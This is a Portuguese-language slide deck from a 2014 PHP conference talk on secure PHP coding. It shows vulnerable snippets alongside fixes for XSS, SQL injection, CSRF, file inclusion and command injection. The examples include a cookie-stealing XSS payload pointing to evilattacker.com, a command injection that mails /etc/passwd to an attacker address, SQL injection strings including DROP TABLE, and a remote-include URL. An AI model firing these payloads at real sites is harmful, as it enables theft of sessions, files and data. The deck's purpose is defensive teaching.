Escrevendo códigos php seguros

915 visualizações

Publicada em

Palestra com dicas de segurança para desenvolvedores PHP. Apresentada na PHP Conference Brasil 2014.

Publicada em: Internet
0 comentários
2 gostaram
Estatísticas
Notas
  • Seja o primeiro a comentar

Sem downloads
Visualizações
Visualizações totais
915
No SlideShare
0
A partir de incorporações
0
Número de incorporações
8
Ações
Compartilhamentos
0
Downloads
37
Comentários
0
Gostaram
2
Incorporações 0
Nenhuma incorporação

Nenhuma nota no slide

Escrevendo códigos php seguros

  1. 1. Escrevendo códigos PHP Seguros Douglas V. Pasqua http://douglaspasqua.com
  2. 2. Introdução ● Príncios de segurança para aplicativos web. ● As consequencias de códigos inseguros. ● Regras básicas de Segurança.
  3. 3. Vulnerabilidades / Tipos de Ataques ● SQL Injections ● XSS ● Remote Code Injection ● Command Inection ● XSRF / CSRF ● Sessions ● File Uploads
  4. 4. Outros ● senhas e hashs ● configurações de segurança (php.ini)
  5. 5. Introdução Segurança ● Uma das coisas mais importantes que o desenvolvedor deve-se atentar.
  6. 6. Introdução Segurança ● Infelizmente a maioria dos desenvolvedores falham na questão de segurança, comprometendo dezenas e até milhares de linhas de códigos.
  7. 7. Consequências
  8. 8. Consequências ● DOS (Denial Of Service). ● Roubo de informações confidenciais. ● Danificar banco de dados. ● Roubo de sessão do usuário. ● Comprometer a aplicação.
  9. 9. Regras básicas ● Filtrar dados de Input ● Filtrar dados de Output
  10. 10. Filtrar dados de Input ● Não se deve confiar nos dados provenientes do usuário. ● Toda informação oriunda do usuário deve ser filtrada/validada antes do uso.
  11. 11. Filtrar dados de Input ● $_GET ● $_POST ● $_COOKIE
  12. 12. Tipo de dados ? ● E-Mail ● Numérico ● URL ● IP ● Data de aniversário ● Endereço ● Telefone
  13. 13. Exemplo: filtrando campo numérico <?php if (isset($_GET["value"])) { $value = $_GET["value"]; } else { $value = false; } if (is_numeric($value) && ($value >= 15 && $value <= 20)) { // ok }
  14. 14. Exemplo: filtrando campo numérico <?php $value = filter_input(INPUT_GET, "value", FILTER_VALIDATE_INT, array("options" => array( "min_range" => 15, "max_range" => 20 ))); if($value) { // valido }
  15. 15. filter_input ● FILTER_VALIDATE_BOOLEAN ● FILTER_VALIDATE_EMAIL ● FILTER_VALIDATE_FLOAT ● FILTER_VALIDATE_INT ● FILTER_VALIDATE_IP ● FILTER_VALIDATE_REGEXP ● FILTER_VALIDATE_URL
  16. 16. filter_input http://php.net/filter_input
  17. 17. Filtrando dados de Saída ● Dados de saída devem ser tratados de acordo com o meio. ○ HTML ○ Javascript ○ XML ○ SQL
  18. 18. Filtrando dados de saída <?php echo "<a href="$url">$name</a>";
  19. 19. Filtrando dados de Saída <a href="<?php echo htmlspecialchars($url, ENT_COMPAT, 'utf-8'); ?>"> <?php echo htmlspecialchars($name, ENT_NOQUOTES, 'utf-8'); ?> </a>
  20. 20. htmlspecialchars() Caracter Nome Código < menor que &lt; > maior que &gt; & E comercial &amp; “ aspas duplas &quot; http://php.net/htmlspecialchars
  21. 21. XSS (Cross Site Scripting)
  22. 22. XSS (Cross-site-scripting) ● É um tipo de ataque que permite injetar códigos (javascript) maliciosos em sites “confiáveis”. ● Explora a confiança que o usuário tem no site.
  23. 23. XSS (Cross-site-scripting) ● Roubo de cookies e informações de sessão. ● Disparar requisições HTTP na sessão do usuário. ● Redirecionar o usuário para sites maliciosos. ● Instalar malware
  24. 24. XSS Exemplo - Não Persistente <?php // Gera resultados baseado em parametro via GET echo "Você esta buscando por: " . $_GET["query"];
  25. 25. XSS Exemplo - Não Persistente <?php // Gera resultados baseado em parametro via GET echo "Você esta buscando por: " . $_GET["query"]; http://example.com/search.php?query=<script>alert("hacked")</script>
  26. 26. XSS Exemplo - Não Persistente <?php // Gera resultados baseado em parametro via GET echo "Você esta buscando por: " . $_GET["query"]; http://example.com/search.php?query=<script>alert("hacked")</script> Você esta buscando por: <script>alert("hacked")</script>
  27. 27. XSS Exemplo - Persistente $email = "document.write('<iframe src=” http://evilattacker.com?cookie=' + document.cookie.escape()” height=”0” width=”0” />')"; E-mail: <?php echo $email; ?>
  28. 28. XSS - Prevenção ● Validando dados de input
  29. 29. XSS - Prevenção ● Sanitização <?php // sanitize HTML $query = strip_tags($_GET["query"]);
  30. 30. XSS - Prevenção ● Output Escaping <?php // Gera resultados baseado em parametro via GET echo "Você esta buscando por: " . htmlspecialchars($_GET["query"]);
  31. 31. SQL Injection
  32. 32. SQL Injection ● Permite manipulação de consultas SQL ○ passar por controles de acesso e autenticação. ○ expor dados escondidos. ○ sobrescrita de dados. ○ exclusão de dados. ○ execução de comandos no S.O.
  33. 33. SQL Injection $sql = "SELECT * FROM users WHERE name ='$nome'";
  34. 34. SQL Injection ' or '1'='1 SELECT * FROM users WHERE name ='' OR '1'='1'; ' or '1'='1' -- SELECT * FROM users WHERE name ='' OR '1'='1' --';
  35. 35. SQL Injection a';DROP TABLE users; -- SELECT * FROM users WHERE name ='a';DROP TABLE users; --';
  36. 36. SQL Injection - Protegendo-se <?php $stmt = $dbh->prepare("SELECT * FROM users WHERE name = :name"); $stmt->bindParam(':name', $txtName); $stmt->execute(); ● Suporte: ○ mysqli ○ PDO
  37. 37. SQL Injection - Protegendo-se <?php $name = mysql_real_escape_string($name); $sql = "SELECT * FROM users WHERE name ='$name'"; ● Usar no caso de extensão padrão do Mysql para PHP
  38. 38. CSRF (Cross-Site-Request-Forgery)
  39. 39. CSRF - Definição Site malicioso dispara uma requisição/ação não desejada para um outro site no qual o usuário esteja logado.
  40. 40. CSRF - Exemplos de ações ● Alterar a senha do usuário no site ● Realizar transferências bancárias ● Submissão de formulários
  41. 41. CSRF - Principais focos ● Webmail ● Redes sociais ● Bancos ● Sistemas de pagamento online
  42. 42. CSRF - Exemplos de Prevênção ● Captcha ● Verificar o Header "Referer" ● Token Sincronizado
  43. 43. CSRF - Token <?php $randomtoken = base64_encode(openssl_random_pseudo_bytes(32));
  44. 44. CSRF - Token <?php $randomtoken = base64_encode(openssl_random_pseudo_bytes(32)); $_SESSION['csrfToken'] = $randomtoken;
  45. 45. CSRF - Token <form> ... <input type=’hidden’ name=’csrfToken’ value=’<?php echo($_SESSION['csrfTOken']) ?>’ /> ... </form>
  46. 46. CSRF ● O Token CSRF é único por sessão. ● Utilize o token em todos formulários considerados “críticos”.
  47. 47. Remote Code Injection
  48. 48. Remote code injection ● Permite o atacante injetar códigos externos no fluxo de execução do script php. ● Explora: ○ include ○ require
  49. 49. Remote code injection <?php include($_GET["page"]); ?>
  50. 50. Remote code injection <?php include($_GET["page"]); ?> www.website.com/carrega.php?page=/dir-escondido/senhas. txt
  51. 51. Remote code injection <?php include($_GET["page"]); ?> www.website.com/carrega.php?page=/upload-dir/arquivo.php
  52. 52. Remote code injection <?php include($_GET["page"]); ?> www.website.com/carrega.php?page=http://hackersite.com/file.inc
  53. 53. Remote code injection - Proteção <?php $whitelist = array('home', 'about'); if (in_array($_GET['page'], $whitelist)) { include($_GET['page'].'.php'); } else { include('home.php'); }
  54. 54. Command Injection
  55. 55. Command Injection ● Permite o atacante injetar códigos shell maliciosos. ● Normalmente quando você usa o input do usuário para criar um comando shell.
  56. 56. Command Injection <?php echo shell_exec('cat '.$_GET['filename']); ?>
  57. 57. Command Injection <?php echo shell_exec('cat '.$_GET['filename']); ?> www.website.com/viewfile.php?filename=file.txt;ls
  58. 58. Command Injection <?php echo shell_exec('cat '. $_GET['filename']); ?> www.website.com/viewfile.php?filename=file.txt;mail attacker@attacker.org </etc/passwd
  59. 59. Command Injection - Proteção <?php echo shell_exec('cat '. escapeshellarg($_GET['filename']));
  60. 60. Command Injection - Proteção <?php echo shell_exec('cat '. escapeshellarg($_GET['filename'])); OR echo shell_exec(escapeshellcmd('cat '. $_GET['filename']));
  61. 61. Segurança de Sessão
  62. 62. Segurança de Sessão ● Flag httponly, php.ini: session.cookie_httponly = 1 Marca o cookie de sessão do PHP com httponly. Isso faz com que o novageador não exponha o valor deste cookie via javascript.
  63. 63. Segurança de Sessão ● Flag use_only_cookies, php.ini: session.use_only_cookies = 1 Desabilita a possiblidade de setar o ID da sesssão via GET.
  64. 64. Segurança de Sessão ● Flag cookie_secure, php.ini: session.cookie_secure = 1 Assegura que o cookie de sessão seja transmitido apenas por conexão segura.
  65. 65. Session hijacking <?php session_start(); if (isset($_SESSION['HTTP_USER_AGENT'])) { if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'])) { /* Prompt for password */ exit; } } else { $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']); }
  66. 66. Upload de Arquivos
  67. 67. Upload de arquivos - Dicas Armazene os arquivos enviados fora do diretório raiz do app web.
  68. 68. Upload de arquivos - Dicas Não confie cegamente no Content-Type, para definir que um arquivo seja realmente uma imagem.
  69. 69. Upload de arquivos - Dicas <?php $imageinfo = getimagesize($_FILES['userfile']['tmp_name']); if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') { echo "Desculpe, são aceitos somente imagens GIF e JPEGn"; exit; }
  70. 70. Upload de arquivos - Dicas Não armazene os arquivos usando o nome original configurado no formulário. Gere um nome randômico ao salvar.
  71. 71. Hash e Senhas
  72. 72. hash e senhas Sempre usar hash para armazenar senhas em banco de dados.
  73. 73. hash e senhas md5(), sha1() ?
  74. 74. hash e senhas password_hash(), crypt() ?
  75. 75. password_hash() ● >= PHP 5.5 ● Utiliza o algoritimo BCrypt ● Compatível com a função crypt()
  76. 76. password_hash() <?php // geração do hash $hash = password_hash($senha, PASSWORD_DEFAULT); // verificando se o hash corresponde if (password_verify($password, $hash)) { // Sucesso! } else { // Credenciais Inválidas }
  77. 77. password_hash() ● utilizar capacidade de 255 caracteres ● salt e cost são gerados pela API
  78. 78. Parâmetros no php.ini
  79. 79. php.ini ● expose_php = off
  80. 80. php.ini ● expose_php = off HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Content-type: text/html; charset=UTF-8
  81. 81. php.ini ● display_errors = off
  82. 82. php.ini ● display_errors = off log_errors=On error_log=/var/log/apache/php_error.log
  83. 83. php.ini ● allow_url_fopen = off
  84. 84. php.ini ● allow_url_fopen = off previne remote code injections (include/require/file_get_contents)
  85. 85. php.ini ● max_execution_time = 30 ● memory_limit = 40M
  86. 86. php.ini ● max_execution_time = 30 ● memory_limit = 40M Evita ataques DOS
  87. 87. php.ini ● disable_functions = exec,passthru, shell_exec,system,proc_open,popen, curl_exec,curl_multi_exec,parse_ini_file, show_source
  88. 88. php.ini ● open_basedir="/var/www/"
  89. 89. php.ini ● open_basedir="/var/www/" restringe o diretório onde o php pode manipular arquivos
  90. 90. Perguntas ? douglas.pasqua@gmail.com http://www.douglaspasqua.com twitter: @dpasqua

×